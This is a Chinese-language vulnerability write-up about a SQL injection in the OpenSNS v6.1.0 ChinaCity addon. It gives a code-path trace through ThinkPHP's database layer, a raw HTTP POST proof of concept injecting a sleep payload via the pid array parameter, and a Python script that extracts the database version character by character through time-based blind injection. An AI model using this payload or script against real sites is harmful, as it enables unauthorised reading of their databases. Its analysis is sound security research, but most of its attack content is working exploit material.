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OpenSNS v6.1.0 前台sql注入

一、漏洞简介

二、漏洞影响

OpenSNS v6.1.0

三、复现过程

漏洞分析

Addons/ChinaCity/Controller/ChinaCityController.class.php:50 发现我们输入的payload，向前查找，最开始从\$_POST获取，如何处理，到此处

ThinkPHP/Common/functions.php:343 跟进I函数获取到payload

继续跟发现有参数过滤，可仔细一看跟没过滤一样

到这里向前追溯就结束了，从$pid = I('pid'); 向后跟

跟进 \Addons\ChinaCity\Model\DistrictModel::_list $list = D('Addons://ChinaCity/District')->_list($map);跟进 Addons/ChinaCity/Model/DistrictModel.class.php:12

ThinkPHP/Library/Think/Model.class.php:618 $resultSet = $this->db->select($options);ThinkPHP/Library/Think/Db.class.php:772

Db.class.php:799, Think\Db->buildSelectSql() 下的 $this->parseSQl ThinkPHP/Library/Think/Db.class.php:799

ThinkPHP/Library/Think/Db.class.php:804 发现执行了2个其他的sql语句，在此处（buildSelectSql 里->return $sql）下断点可以看到sql语句

ThinkPHP/Library/Think/Db.class.php:813

ThinkPHP/Library/Think/Db.class.php:821 $this->parseWhere(!empty($options['where'])?$options['where']:''),

ThinkPHP/Library/Think/Db.class.php:423

跟到

ThinkPHP/Library/Think/Db.class.php:457

ThinkPHP/Library/Think/Db.class.php:468

ThinkPHP/Library/Think/Db.class.php:457

ThinkPHP/Library/Think/Db.class.php:497

虽然这个地方有转译，但只有\$val[1]

ThinkPHP/Library/Think/Db.class.php:464

ThinkPHP/Library/Think/Db.class.php:813

ThinkPHP/Library/Think/Db.class.php:773 $result = $this->query($sql,$this->parseBind(!empty($options['bind'])?$options['bind']:array()));

执行成功 sleep了

Db.class.php:469, Think\Db->parseWhereItem()
Db.class.php:457, Think\Db->parseWhere()
Db.class.php:821, Think\Db->parseSql()
Db.class.php:799, Think\Db->buildSelectSql()
Db.class.php:772, Think\Db->select()
Model.class.php:618, Think\Model->select()
DistrictModel.class.php:12, Addons\ChinaCity\Model\DistrictModel->_list()
ChinaCityController.class.php:58, Addons\ChinaCity\Controller\ChinaCityController->getCity()
AddonsController.class.php:42, Home\Controller\AddonsController->execute()
App.class.php:153, ReflectionMethod->invokeArgs()
App.class.php:153, Think\App::exec()
App.class.php:193, Think\App::run()
Think.class.php:121, Think\Think::start()
ThinkPHP.php:96, require()
index.php:73, {main}()

漏洞复现

vul url

http://0-sec.org/uploads_download_2019-07-16_5d2d5d4697d88/index.php?s=/home/addons/_addons/china_city/_controller/china_city/_action/getcity.html

poc

POST /index.php?s=%2Fhome%2Faddons%2F_addons%2Fchina_city%2F_controller%2Fchina_city%2F_action%2Fgetcity.html HTTP/1.1
Host: 0-sec.org
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
Content-Length: 116
Accept: */*
Cookie: 
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,und;q=0.7
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.95.131
Referer: http://192.168.95.131/uploads_download_2019-07-16_5d2d5d4697d88/index.php?s=/ucenter/config/index.html
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip

cid=0&pid%5B0%5D=%3D%28select%2Afrom%28select%2Bsleep%283%29union%2F%2A%2A%2Fselect%2B1%29a%29and+3+in+&pid%5B1%5D=3

Vulnerability file

Addons/ChinaCity/Controller/ChinaCityController.class.php:50

ThinkPHP/Library/Think/Db.class.php:772

exp

import requests
from requests import exceptions

url="http://192.168.95.131/uploads_download_2019-07-16_5d2d5d4697d88/index.php?s=/home/addons/_addons/china_city/_controller/china_city/_action/getcity.html"


header={'X-Requested-With':'XMLHttpRequest'}
# proxies={'http':'127.0.0.1:8080'}
flag=''
for i in range(1,50):
    for j in range(32,128):
        try:
            data={
                'cid':0,
                'pid[0]':"=(select if(ord(substr((select version()),{},1))={},sleep(10),0))AND 3 IN  ".format(i,j),
                'pid[1]':3
            }
            # print data['pid[0]']
            r=requests.post(url,data=data,headers=header,timeout=5)

        except exceptions.Timeout :
            flag+=chr(j)
            print flag

参考链接

https://www.t00ls.net/thread-54688-1-1.html